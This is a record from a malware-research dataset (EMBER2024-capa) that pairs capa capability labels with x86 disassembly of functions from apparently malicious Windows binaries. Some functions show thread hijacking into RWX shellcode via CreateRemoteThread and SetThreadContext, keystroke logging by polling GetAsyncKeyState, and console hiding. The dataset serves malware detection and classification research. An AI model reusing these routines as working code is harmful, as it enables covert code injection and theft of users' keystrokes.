joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10016fe0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001bed6
mov eax, dword fs:[0]
push eax
sub esp, 0x650
mov eax, dword [0x1002700c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x658], edx
mov ebx, ecx
mov eax, dword [0x100229f8]
mov dword [ebp - 0x1c], eax
mov ax, word [0x100229fc]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x624]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10017139
lea esi, [ebp - 0x624]
nop dword [eax + eax]
mov ax, word [esi]
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x224]
push 0x104
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x10017125
xor eax, eax
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], 0
mov word [ebp - 0x63c], ax
cmp word [ebx], ax
je 0x100170af
mov eax, ebx
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100170a0
sub eax, edx
sar eax, 1
push eax
push ebx
lea ecx, [ebp - 0x63c]
call fcn.1001a1b0
mov dword [ebp - 4], 0
cmp word [ebp - 0x224], 0
jne 0x100170d1
xor ecx, ecx
jmp 0x100170ef
lea ecx, [ebp - 0x224]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100170e0
sub ecx, edx
sar ecx, 1
push ecx
push ecx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x63c]
call fcn.10019280
mov edi, eax
cmp edi, 0xffffffff
jne 0x10017157
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x628]
cmp eax, 8
jb 0x10017125
inc eax
push eax
push dword [ebp - 0x63c]
call fcn.1001a050
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10017125
cmp word [esi], ax
jne 0x10017050
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1001a628
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x654]
call fcn.1001a260
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x63c]
mov eax, dword [eax + 0x10]
push esi
inc eax
push eax
push edi
call fcn.10019220
mov eax, dword [ebp - 0x640]
cmp eax, 8
jb 0x10017197
inc eax
push eax
push dword [ebp - 0x654]
call fcn.1001a050
cmp dword [ebp - 0x628], 8
lea eax, [ebp - 0x63c]
cmovae eax, dword [ebp - 0x63c]
push eax
push 0x104
push dword [ebp - 0x658]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov eax, dword [ebp - 0x628]
add esp, 0xc
cmp eax, 8
jb 0x100171d8
inc eax
push eax
push dword [ebp - 0x63c]
call fcn.1001a050
mov al, 1
jmp 0x1001713b
Function at 0x10017240
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x100172d0
cmp edx, 0x20
jb 0x100172bb
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10017279
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x10022cd0]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10017290
pop edi
cmp eax, edx
jge 0x100172d0
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, 0xa0
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x100172c0
pop esi
pop ebx
pop ebp
ret

Function at 0x100172e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x10017370
cmp edx, 0x20
jb 0x1001735b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10017319
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x10022cd0]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10017330
pop edi
cmp eax, edx
jge 0x10017370
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10017360
pop esi
pop ebx
pop ebp
ret
Function at 0x10017410
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov esi, edx
mov edi, ecx
push 1
push esi
mov ecx, 0x2a
call fcn.10018e80
push eax
push 0
push 0x10127210
call fcn.1000e6e0
mov ecx, dword [0x1013107c]
add esp, 0x18
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
test ecx, ecx
je 0x10017472
push 0
push 0
push 0x10
push ecx
call ebx
push dword [0x10132004]
mov dword [0x1013107c], 0
push dword [0x10131094]
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x101311a4]
test eax, eax
je 0x100174a0
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x10132004]
mov dword [0x101311a4], 0
push dword [0x101311bc]
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x101312cc]
test eax, eax
je 0x100174ce
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x10132004]
mov dword [0x101312cc], 0
push dword [0x101312e4]
call dword [sym.imp.USER32.dll_UnregisterClassA]
sub esi, 0
je 0x100174fb
sub esi, 1
je 0x100174ef
sub esi, 1
jne 0x100174e7
lea eax, [esi + 0x6a]
mov ecx, 0x2b2bb9
jmp 0x10017505
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
jmp 0x10017505
mov eax, 0x69
mov ecx, 0x116896
jmp 0x10017505
mov eax, 0x67
mov ecx, 0x9ca476
push ecx
push dword [ebp + 0xc]
mov ecx, edi
sub esp, 0xc
push eax
call fcn.10015e40
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push ecx
push edi
push 0x10017380
mov dword [edi + 8], eax
call fcn.10019050
push 0xffffffffffffffff
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [edi + 4]
test eax, eax
je 0x10017578
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x10132004]
mov dword [edi + 4], 0
push dword [edi + 0x1c]
call dword [sym.imp.USER32.dll_UnregisterClassA]
xorps xmm0, xmm0
push 0
movups xmmword [0x10132320], xmm0
movups xmmword [0x10132330], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
Function at 0x10018e80
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x10532d80
mov esi, ecx
call sub.VCRUNTIME140.dll_memset
movaps xmm1, xmmword [str.eeeeeeeeeeeeeeeewwwwwwwwwwwwwwww]
add esp, 0xc
movaps xmm2, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
xor eax, eax
shl esi, 8
lea ecx, [esi + 0x1001e828]
pop esi
movups xmm0, xmmword [ecx + eax - 0x10]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x10532d80], xmm0
movups xmm0, xmmword [ecx + eax]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x10532d90], xmm0
add eax, 0x20
cmp eax, 0x100
jb 0x10018eb1
mov eax, 0x10532d80
ret

Function at 0x10019050
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x1002700c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov edx, 0xd6
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x2f4], eax
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x10022c10]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x10019080
lea eax, [ebp - 0x18]
mov byte [ebp - 6], 0
push eax
push 0x3f66b0b7
lea ecx, [ebp - 0x24]
call fcn.10019a40
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x2f8]
mov word [ebp - 8], 0
push eax
push 0x40
xorps xmm0, xmm0
mov byte [ebp - 6], 0
push 0x100
push esi
movq qword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x2f4]
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x240], edi
push eax
push esi
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001a628
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1001a2f0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x101271d8]
sub esp, 8
push esi
mov esi, dword [0x101271d4]
cmp esi, eax
je 0x1001a3d5
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push edi
cmp byte [esi], 2
jne 0x1001a339
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
lea eax, [esi + 1]
push eax
push connect
call ebx
mov edi, dword [ebp - 8]
test edi, edi
jne 0x1001a34a
mov eax, dword [0x101271d8]
add esi, 0x105
cmp esi, eax
jne 0x1001a312
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov ebx, dword [0x101271d8]
xor ecx, ecx
mov esi, dword [0x101271d4]
mov eax, 0x7d8c42b3
mov dword [ebp - 4], ecx
mov ecx, ebx
sub ecx, esi
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1001a3bd
xor edi, edi
cmp byte [edi + esi], 2
jne 0x1001a397
lea eax, [esi + 1]
add eax, edi
push eax
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ebx, dword [0x101271d8]
mov esi, dword [0x101271d4]
inc dword [ebp - 4]
mov ecx, ebx
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
add edi, 0x105
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 4], eax
jb 0x1001a374
mov edi, dword [ebp - 8]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
push 0
lea ecx, [edx + 6]
call fcn.10004d10
add esp, 4
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4016d0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x433019
mov eax, dword fs:[0]
push eax
sub esp, 0x18c
mov eax, dword [0x440080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 1
push 0x40
push 1
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x198]
call fcn.00406d00
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x198]
call fcn.0040e5b0
movzx ecx, al
test ecx, ecx
je 0x4018c2
lea ecx, [ebp - 0x28]
call fcn.004077e0
mov byte [ebp - 4], 1
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x198]
push eax
call fcn.004063c0
add esp, 8
push str._0630_232751.643:ERROR:registration_protocol_win.cc_136___TransactNamedPipe:_The_channel_was_closed.__0x00_
lea ecx, [ebp - 0x28]
push ecx
call fcn.00403050
add esp, 8
movzx edx, al
test edx, edx
je 0x401874
mov ecx, dword [ebp + 0xc]
call fcn.0040bf30
push eax
call fcn.0041a59c
add esp, 4
lea ecx, [ebp - 0x198]
call fcn.0040c120
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
mov eax, 1
test eax, eax
je 0x401872
push 0x43467c
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x4017b0
jmp 0x4017b5
jmp 0x401872
push 0x12
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx ecx, ax
cmp ecx, 0xffff8000
jne 0x40186d
push 0x72
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx edx, ax
cmp edx, 0xffff8000
jne 0x40186d
push 1
push 0x40
push 2
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xe0]
call fcn.00407060
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xe0]
call fcn.0040e5d0
movzx ecx, al
test ecx, ecx
je 0x40185d
push 0x434690
lea edx, [ebp - 0xe0]
push edx
call fcn.00402d50
add esp, 8
lea ecx, [ebp - 0xe0]
call fcn.0040c160
nop
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2c], esp
mov eax, dword [ebp + 0x10]
push eax
call fcn.00407490
mov ecx, dword [ebp + 8]
push ecx
call fcn.004018f0
add esp, 0x1c
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xe0]
call fcn.00409480
nop
jmp 0x401872
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xe0]
call fcn.00409480
nop
jmp 0x401790
jmp 0x4018b5
push str._0630_232751.643:ERROR:registration_protocol_win.cc_136___TransactNamedPipe:_The_channel_was_closed.__0x6D_
lea edx, [ebp - 0x28]
push edx
call fcn.00403050
add esp, 8
movzx eax, al
test eax, eax
je 0x4018b5
lea ecx, [ebp - 0x198]
call fcn.0040c120
nop
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x30], esp
mov edx, dword [ebp + 0x10]
push edx
call fcn.00407490
mov eax, dword [ebp + 8]
push eax
call fcn.004018f0
add esp, 0x1c
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.004087e0
nop
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x198]
call fcn.004093f0
nop
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041145c
mov esp, ebp
pop ebp
ret
Function at 0x4029c0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0x43433c
push 0
call fcn.0041dc40
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.004011d0
xor eax, eax
pop ebp
ret

Function at 0x40fab0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], ecx
cmp dword [ebp + 0x10], 0
jg 0x40fad0
jl 0x40fac7
cmp dword [ebp + 0xc], 0
ja 0x40fad0
xor eax, eax
xor edx, edx
jmp 0x40fc08
mov eax, dword [ebp - 8]
cmp dword [eax + 0x38], 0
je 0x40faf2
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
call fcn.0040fc10
jmp 0x40fc08
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 8]
call fcn.0040a670
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jbe 0x40fb62
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.004064e0
add esp, 8
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 8]
call fcn.0040e320
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0040c1c0
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov dword [ebp + 8], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
push edx
mov ecx, dword [ebp - 8]
call fcn.0040e230
nop
mov eax, dword [ebp - 8]
cmp dword [eax + 0x4c], 0
je 0x40fbf9
mov ecx, dword [ebp - 8]
call fcn.0040b730
mov dword [ebp - 0x18], 0xfff
cmp dword [ebp - 4], 0xfff
jbe 0x40fbd2
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x4c]
push edx
push 0xfff
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.0041b10f
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x10]
mov dword [ebp + 8], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
cmp dword [ebp - 0x10], 0xfff
je 0x40fbd0
xor eax, eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x1c]
sbb edx, eax
mov eax, ecx
jmp 0x40fc08
jmp 0x40fb7e
cmp dword [ebp - 4], 0
jbe 0x40fbf9
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x4c]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call fcn.0041b10f
add esp, 0x10
mov ecx, dword [ebp - 4]
sub ecx, eax
mov dword [ebp - 4], ecx
xor edx, edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
sbb ecx, edx
mov edx, ecx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x412208
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x412247
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x412247
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412247
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x412247
cmp dword [ecx + 0x74], 0xe
jbe 0x412247
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x423d8a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x438b48
push 0x438b40
push str.FlsAlloc
push 0x1f
call fcn.00423bf5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x423dbe
push dword [ebp + 8]
mov ecx, esi
call dword [0x434184]
call esi
jmp 0x423dc4
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x423e08
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x438b58
push 0x438b50
push str.FlsGetValue
push 0x21
call fcn.00423bf5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x423e3f
push dword [ebp + 8]
mov ecx, esi
call dword [0x434184]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x423e47
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x438b60
push 0x438b58
push str.FlsSetValue
push 0x22
call fcn.00423bf5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x423e81
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x434184]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x425908
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00412370
mov eax, dword [0x440080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004243bd
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x42594a
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x425aa6
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004329e0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x441ca8]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.00426905
mov ecx, dword [esi*4 + 0x441ca8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x425a9f
cmp eax, dword [ecx + edi + 0x24]
jne 0x425a9f
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x425a9f
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00426905
add esp, 0x14
test edx, edx
jl 0x425a9f
jg 0x425a15
test eax, eax
jb 0x425a9f
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x425a9f
jl 0x425a2f
cmp dword [ebp - 0x1008], eax
ja 0x425a9f
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x425a4d
test ebx, ebx
je 0x425a86
cmp ecx, edi
jae 0x425a86
mov al, byte [ecx]
cmp al, 0xd
jne 0x425a67
lea eax, [edi - 1]
cmp ecx, eax
jae 0x425a73
cmp byte [ecx + 1], 0xa
jne 0x425a73
inc ecx
jmp 0x425a73
movzx eax, al
movsx eax, byte [eax + 0x440340]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x425a4d
cmp edx, ebx
jne 0x425a4d
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x425aa4
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0041145c
leave
ret
Function at 0x425d9d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x441ca8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x425ddd
cmp byte [ebx], 0xa
jne 0x425ddd
or byte [edi + eax + 0x28], 4
jmp 0x425de2
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x425ee1
mov dl, byte [eax]
cmp dl, 0x1a
je 0x425ec4
inc eax
cmp dl, 0xd
je 0x425e0e
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x425e34
cmp eax, ecx
jae 0x425e42
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x425df6
jmp 0x425ee1
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x425ebf
cmp dword [ebp - 0x10], 0
je 0x425ebf
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x441ca8]
test byte [eax + edi + 0x28], 0x48
je 0x425e99
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x425e84
mov byte [esi], dl
jmp 0x425e95
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x441ca8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x425ee1
cmp byte [ebp - 1], 0xa
jne 0x425ea8
cmp esi, ebx
jne 0x425ea8
mov byte [esi], 0xa
jmp 0x425ee0
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00426923
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x425ee1
mov byte [esi], 0xd
jmp 0x425ee0
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x441ca8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x425ede
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x425ee1
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret